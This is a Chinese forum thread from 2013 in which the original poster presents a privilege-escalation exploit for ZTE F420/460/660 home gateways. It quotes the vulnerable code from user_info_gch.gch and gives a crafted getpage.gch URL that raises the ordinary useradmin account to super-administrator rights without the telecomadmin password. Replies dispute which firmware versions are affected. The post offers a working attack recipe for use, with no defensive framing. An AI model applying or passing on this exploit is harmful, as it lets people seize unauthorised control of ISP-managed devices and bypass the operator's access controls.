查看: 20042|回复: 27

[原创]F420 460 660 在root telecomadmin密码未知时,获得路由器WEB最高管理权限

[复制链接]
发表于 2013-3-13 00:34:58 |江苏| 显示全部楼层 |阅读模式
本帖最后由 xsser 于 2013-3-13 02:51 编辑

由于user_info_gch.gch文件中下列代码存在漏洞,我们可以通过如下的方式钻个空子
  1. if(FP_ACTION=="apply"){
  2. if((getenv("Right")==1&&FP_INDEX!=1)||(getenv("Right")==2&&FP_INDEX==1)){
  3.                 FP_HANDLE=create_paralist();
  4.                 set_para(FP_HANDLE,"Type",request("Type"));
  5.                 set_para(FP_HANDLE,"Enable",request("Enable"));
  6.                 set_para(FP_HANDLE,"Username",request("Username"));
  7.                 set_para(FP_HANDLE,"Password",request("OldPassword"));
  8.                 set_para(FP_HANDLE,"Right",request("Right"));
  9.                 FP_RESULT=login(FP_HANDLE, "OBJ_LOGIN_ID");
  10.         }else {
  11.                 FP_RESULT=0;
  12.         }
  13.         
  14.         if(FP_RESULT==0){
  15.                 if(FP_INDEX>=0){
  16.                         FP_HANDLE=create_paralist();
  17.                         for(var i=0;i<FP_PARANUM;i++){
  18.                                 setpara(FP_HANDLE,PARA[i]);
  19.                         }
  20.                         FP_IDENTITY=set_inst(FP_HANDLE, FP_OBJNAME,FP_IDENTITY);
  21.                 }
  22.         }else {
  23.                 FP_ERRORSTR=FP_RESULT;
  24.         }
  25. }
复制代码
1.用电信给你的useradmin帐户和密码登陆路尤器WEB管理页面

2.登陆成功后直接在IE中访问如下网址
http://192.168.1.1/getpage.gch?pid=1002&nextpage=manager_user_conf_t.gch&Type=NULL&Enable=NULL&Username=useradmin&Password=这里替换成你useradmin用户的密码&Right=0&IF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&IF_INDEX=1&OldPassword=这里替换成你useradmin用户的密码

注意,上述URL有两个地方要替换成您useradmin的密码

3.重新用useradmin用户登录试试看,是不是成了超级用户了:-)
发表于 2013-3-13 08:55:54 |河南| 显示全部楼层
{:soso_e103:}
发表于 2013-3-13 10:05:41 |上海| 显示全部楼层
这个方法不是通用的,只有部分版本才支持。{:soso_e144:}
 楼主| 发表于 2013-3-13 10:16:03 |江苏| 显示全部楼层
我没有那么多环境,每个路由器的信号分别找了两个人帮忙测试,均成功.
发表于 2013-3-13 12:29:12 |广东| 显示全部楼层
扯淡,你试试看F420的3.0版本,现在连telent扣都关闭了
 楼主| 发表于 2013-3-13 14:18:08 |江苏| 显示全部楼层
lawman 发表于 2013-3-13 12:29
扯淡,你试试看F420的3.0版本,现在连telent扣都关闭了

拿的是WEB权限,谁告你telnet了?
发表于 2013-3-13 14:53:51 |广东| 显示全部楼层
你看看你的固件是什么版本的,目前已知的3.0的都已经封掉了。GCH的访问权限
 楼主| 发表于 2013-3-14 10:54:33 |江苏| 显示全部楼层
lawman 发表于 2013-3-13 14:53
你看看你的固件是什么版本的,目前已知的3.0的都已经封掉了。GCH的访问权限

gch访问权限封掉的话怎么访问web后台呢,不可能不让访问吧
lyh0018 该用户已被删除
发表于 2013-3-14 12:11:53 |海南| 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
szhaoxp 该用户已被删除
发表于 2013-3-26 21:11:55 |上海| 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
您需要登录后才可以回帖 登录 | 注册

本版积分规则

关闭

站长推荐上一条 /1 下一条

相关侵权、举报、投诉及建议等,请发 E-mail:yesdong@qq.com

Powered by Discuz! X5.0 Licensed © 2001-2026 Discuz! Team.44152102000001

在本版发帖QQ客服返回顶部